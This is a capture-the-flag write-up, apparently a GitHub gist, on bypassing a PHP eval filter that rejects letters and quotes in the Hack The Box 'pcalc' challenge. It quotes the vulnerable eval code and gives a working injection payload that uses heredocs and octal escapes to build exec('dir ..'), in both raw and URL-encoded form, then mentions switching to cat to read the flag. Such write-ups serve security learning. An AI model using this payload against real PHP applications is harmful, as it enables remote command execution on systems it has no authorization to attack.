Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save log4she11/b99c2a1ef33ad84e2b5a9c5b6ae05169 to your computer and use it in GitHub Desktop.
Save log4she11/b99c2a1ef33ad84e2b5a9c5b6ae05169 to your computer and use it in GitHub Desktop.
php filter bypass - no letters or quotes

PHP filter bypass - no letters or quotes

For the 2021 hack the box cyberpocalypse ctf, there was a web challenge called pcalc that included this filter:

if (strlen($formula) >= 100 || preg_match_all('/[a-z\'"]+/i', $formula)) {
    return '🤡 dont bite the hand that feeds you human 🤡';
}
try {
    eval('$pcalc = ' . $formula . ';');
    return isset($pcalc) ? $pcalc : '?';
}
catch (ParseError $err) {
   return '🚨 report to the nearest galactic federation agency 🚨';
}  

so, no letters or quotes, either ' or ". hmmmmmm...

looking around, most examples of bypasses didn't work for me because they needed quotes or were too long, so I largely figured this out for myself.

the solution was via three perculiarities of php:

  • strings can be specified with ' or ", sure, but also with 'heredocs' and 'nowdocs'. a heredoc (which I used) is <<< followed by a user defined marker character, a newline, the text, and the marker again.
  • in a " string or a heredoc, octal notation can be used. \120 is the character 'P' for example
  • functions can be called as exec("args") or as ("exec")("args")

so, what do I want to do? I want to find a flag file that I know is in the directory one level up (with a random name) and then read it. to do this in php i might do exec("dir .."), but that will fail the filter. so lets run it through these quirks:

<<<_ [text] _ to express a quoted string

\145\170\145\143 for exec and \144\151\162\40\56\56 for dir ..

and, with wrapped parenthesis, the final string:

(<<<_
\145\170\145\143
_)(<<<_
\144\151\162\40\56\56
_)

the challenge requires this to be a query string parameter, so I shoved the above into cyberchef (which I also used to calculate the octal values) to get:

(%3C%3C%3C_%0A%5C145%5C170%5C145%5C143%0A_)(%3C%3C%3C_%0A%5C144%5C151%5C162%5C40%5C56%5C56%0A_)

this worked and I found the flag, then changed the second command to cat etc to get its text :) Fun challenge!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment